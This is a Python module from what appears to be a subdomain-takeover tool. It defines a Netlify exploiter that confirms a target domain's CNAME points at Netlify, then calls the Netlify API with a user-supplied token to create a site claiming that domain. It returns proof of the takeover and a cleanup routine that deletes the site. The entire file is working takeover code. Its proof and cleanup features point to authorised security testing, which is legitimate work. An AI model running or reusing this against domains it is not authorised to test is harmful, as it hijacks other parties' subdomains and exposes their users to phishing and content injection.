"""Netlify exploitation module."""
import os
from typing import Dict
import aiohttp

from reclaimor.exploit.providers.base import BaseExploiter
from reclaimor.utils.logger import setup_logger

logger = setup_logger(__name__)


class NetlifyExploiter(BaseExploiter):
    """Netlify subdomain takeover exploiter."""
    
    async def exploit(self, domain: str, dns_info: Dict, http_info: Dict) -> Dict:
        """
        Attempt Netlify takeover by creating a site with custom domain.
        
        Requires NETLIFY_TOKEN environment variable.
        """
        result = {
            "success": False,
            "method": None,
            "proof": None,
            "cleanup": None,
            "error": None,
        }
        
        netlify_token = os.getenv("NETLIFY_TOKEN")
        if not netlify_token:
            result["error"] = "NETLIFY_TOKEN environment variable not set"
            return result
        
        cname = dns_info.get("cname", "")
        if not cname or "netlify" not in cname.lower():
            result["error"] = "Not a Netlify CNAME"
            return result
        
        try:
            async with aiohttp.ClientSession() as session:
                headers = {
                    "Authorization": f"Bearer {netlify_token}",
                    "Content-Type": "application/json",
                }
                
                # Create site
                create_url = "https://api.netlify.com/api/v1/sites"
                site_data = {
                    "name": domain.replace(".", "-"),
                    "custom_domain": domain,
                }
                
                async with session.post(create_url, json=site_data, headers=headers) as resp:
                    if resp.status not in [200, 201]:
                        error_text = await resp.text()
                        result["error"] = f"Failed to create Netlify site: {error_text}"
                        return result
                    
                    site_info = await resp.json()
                    site_id = site_info["id"]
                    site_url = site_info["url"]
                
                verification_token = self._generate_verification_token(domain)
                
                result["success"] = True
                result["method"] = "Netlify site creation with custom domain"
                result["proof"] = f"{site_url} (token: {verification_token})"
                result["cleanup"] = lambda: self._cleanup_site(site_id, netlify_token)
                
                logger.info(f"Successfully created Netlify site: {site_id}")
        
        except Exception as e:
            logger.error(f"Netlify exploitation error: {e}")
            result["error"] = str(e)
        
        return result
    
    async def _cleanup_site(self, site_id: str, token: str):
        """Delete the created Netlify site."""
        try:
            async with aiohttp.ClientSession() as session:
                headers = {"Authorization": f"Bearer {token}"}
                url = f"https://api.netlify.com/api/v1/sites/{site_id}"
                async with session.delete(url, headers=headers) as resp:
                    if resp.status == 204:
                        logger.info(f"Cleaned up Netlify site: {site_id}")
                    else:
                        logger.warning(f"Failed to cleanup site: {site_id}")
        except Exception as e:
            logger.error(f"Cleanup error: {e}")
